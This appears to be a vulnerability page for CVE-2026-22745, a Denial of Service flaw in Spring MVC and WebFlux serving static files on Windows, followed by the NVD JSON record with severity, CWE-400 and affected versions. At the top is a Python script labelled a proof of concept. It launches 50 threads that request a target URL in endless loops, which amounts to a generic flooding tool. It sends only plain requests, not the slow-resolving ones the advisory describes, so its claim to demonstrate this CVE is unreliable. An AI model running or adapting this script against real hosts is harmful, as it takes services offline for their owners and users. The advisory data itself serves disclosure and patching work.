CVE-2026-22745

import requests import threading # Proof of Concept for CVE-2026-22745 # This script simulates a DoS attack by sending multiple requests to static endpoints # causing resource exhaustion on vulnerable Windows Spring applications. target_url = "http://vulnerable-app/static/resource" def attack(): try: # Sending requests that trigger slow resolution while True: requests.get(target_url, timeout=10) except Exception as e: print(f"Request failed: {e}") # Launch multiple threads to simulate attack for i in range(50): t = threading.Thread(target=attack) t.start()

{"cve": {"id": "CVE-2026-22745", "sourceIdentifier": "[email protected]", "published": "2026-04-29T12:16:18.620", "lastModified": "2026-05-04T14:50:16.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources.\n\n\nMore precisely, an application can be vulnerable when all the following are true:\n\n * the application is using Spring MVC or Spring WebFlux\n * the application is serving static resources from the file system\n * the application is running on a Windows platform\n\n\nWhen all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.3.48", "matchCriteriaId": "23C9BFA0-DDE5-4E6D-A9E0-ECC236913DF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0", "versionEndExcluding": "6.1.27", "matchCriteriaId": "FC58C148-219F-4868-B9F0-E0AF4435EF79"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.0", "versionEndExcluding": "6.2.18", "matchCriteriaId": "F317C66F-752D-40A9-AECF-5D1E51368AFE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.7", "matchCriteriaId": "78C5C95C-1A83-40E7-8C73-D5965E20BD06"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L&version=3.1", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://spring.io/security/cve-2026-22745", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}